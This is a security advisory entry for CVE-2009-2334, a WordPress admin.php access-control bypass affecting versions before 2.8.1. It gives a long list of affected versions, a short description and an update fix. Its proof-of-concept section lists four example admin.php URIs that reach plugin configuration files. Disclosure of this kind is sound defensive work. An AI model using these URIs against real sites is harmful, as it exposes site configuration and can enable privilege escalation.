WordPress 'wp-admin/admin.php' Module Configuration Security Bypass Vulnerability

BID:35584

Info

WordPress 'wp-admin/admin.php' Module Configuration Security Bypass Vulnerability

Bugtraq ID: 35584
Class: Access Validation Error
CVE: CVE-2009-2334
Remote: Yes
Local: No
Published: Jul 08 2009 12:00AM
Updated: Apr 13 2015 09:12PM
Credit: Fernando Arnaboldi from Core Security Technologies
Vulnerable: WordPress WordPress MU 2.7.1
WordPress WordPress MU 2.7
WordPress WordPress MU 2.6
WordPress WordPress 2.6.5
WordPress WordPress 2.6.2
WordPress WordPress 2.6.1
WordPress WordPress 2.5.1
WordPress WordPress 2.3.3
WordPress WordPress 2.3.2
WordPress WordPress 2.3.1
WordPress WordPress 2.2.3
WordPress WordPress 2.2.2
WordPress WordPress 2.2.1
WordPress WordPress 2.1.3
WordPress WordPress 2.1.2
WordPress WordPress 2.1.1
WordPress WordPress 2.0.11
WordPress WordPress 2.0.10
WordPress WordPress 2.0.7
WordPress WordPress 2.0.6
WordPress WordPress 2.0.5
WordPress WordPress 2.0.4
WordPress WordPress 2.0.3
WordPress WordPress 2.0.2
WordPress WordPress 2.0.1
WordPress WordPress 2.0
WordPress WordPress 2.8
WordPress WordPress 2.6
WordPress WordPress 2.5
WordPress WordPress 2.3
WordPress WordPress 2.2 Revision 5003
WordPress WordPress 2.2 Revision 5002
WordPress WordPress 2.2
WordPress WordPress 2.1.3-RC2
WordPress WordPress 2.1.3-RC1
WordPress WordPress 2.1
WordPress WordPress 2.0.10-RC2
WordPress WordPress 2.0.10-RC1
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0
Debian Linux 4.0 sparc
Debian Linux 4.0 s/390
Debian Linux 4.0 powerpc
Debian Linux 4.0 mipsel
Debian Linux 4.0 mips
Debian Linux 4.0 m68k
Debian Linux 4.0 ia-64
Debian Linux 4.0 ia-32
Debian Linux 4.0 hppa
Debian Linux 4.0 armel
Debian Linux 4.0 arm
Debian Linux 4.0 amd64
Debian Linux 4.0 alpha
Debian Linux 4.0
Not Vulnerable: WordPress WordPress MU 2.8.1
WordPress WordPress 2.8.1

Discussion

WordPress 'wp-admin/admin.php' Module Configuration Security Bypass Vulnerability

WordPress is prone to a security-bypass vulnerability.

Authenticated attackers may exploit this issue to gain access to configuration scripts, which may allow them to obtain sensitive information or elevate privileges; other attacks may also be possible.

Versions prior to the following are vulnerable:

WordPress 2.8.1
WordPress MU 2.8.1

Exploit / POC

WordPress 'wp-admin/admin.php' Module Configuration Security Bypass Vulnerability

An attacker can exploit this issue via a browser.

The following example URIs are available:

http://www.example.com/wp-admin/admin.php?page=/collapsing-archives/options.txt
http://www.example.com/wp-admin/admin.php?page=akismet/readme.txt
http://www.example.com/wp-admin/admin.php?page=related-ways-to-take-action/options.php
http://www.example.com/wp-admin/admin.php?page=wp-security-scan/securityscan.php

Solution / Fix

WordPress 'wp-admin/admin.php' Module Configuration Security Bypass Vulnerability

Solution:
Updates are available. Please see the references for more information.


Debian Linux 5.0 ia-64

WordPress WordPress 2.1

WordPress WordPress 2.8

Debian Linux 5.0 alpha

Debian Linux 5.0 mipsel

Debian Linux 4.0 amd64

WordPress WordPress 2.2

WordPress WordPress 2.6

Debian Linux 4.0 ia-32

Debian Linux 4.0 hppa

WordPress WordPress 2.0.10-RC1

WordPress WordPress 2.3

Debian Linux 4.0 armel

WordPress WordPress 2.0.10-RC2

Debian Linux 5.0 armel

Debian Linux 5.0

Debian Linux 4.0 mipsel

Debian Linux 5.0 mips

Debian Linux 4.0 ia-64

Debian Linux 4.0 mips

Debian Linux 5.0 sparc

Debian Linux 4.0 arm

WordPress WordPress 2.5

Debian Linux 4.0 powerpc

Debian Linux 4.0 m68k

Debian Linux 5.0 ia-32

Debian Linux 5.0 s/390

WordPress WordPress 2.1.3-RC1

Debian Linux 5.0 hppa

Debian Linux 4.0 sparc

Debian Linux 4.0 s/390

Debian Linux 5.0 m68k

WordPress WordPress 2.2 Revision 5003

Debian Linux 5.0 arm

Debian Linux 4.0 alpha

WordPress WordPress 2.2 Revision 5002

Debian Linux 4.0

Debian Linux 5.0 amd64

WordPress WordPress 2.1.3-RC2

Debian Linux 5.0 powerpc

WordPress WordPress 2.0

WordPress WordPress 2.0.1

WordPress WordPress 2.0.10

WordPress WordPress 2.0.11

WordPress WordPress 2.0.2

WordPress WordPress 2.0.3

WordPress WordPress 2.0.4

WordPress WordPress 2.0.5

WordPress WordPress 2.0.6

WordPress WordPress 2.0.7

WordPress WordPress 2.1.1

WordPress WordPress 2.1.2

WordPress WordPress 2.1.3

WordPress WordPress 2.2.1

WordPress WordPress 2.2.2

WordPress WordPress 2.2.3

WordPress WordPress 2.3.1

WordPress WordPress 2.3.2

WordPress WordPress 2.3.3

WordPress WordPress 2.5.1

WordPress WordPress 2.6.1

WordPress WordPress 2.6.2

WordPress WordPress 2.6.5

References

WordPress 'wp-admin/admin.php' Module Configuration Security Bypass Vulnerability

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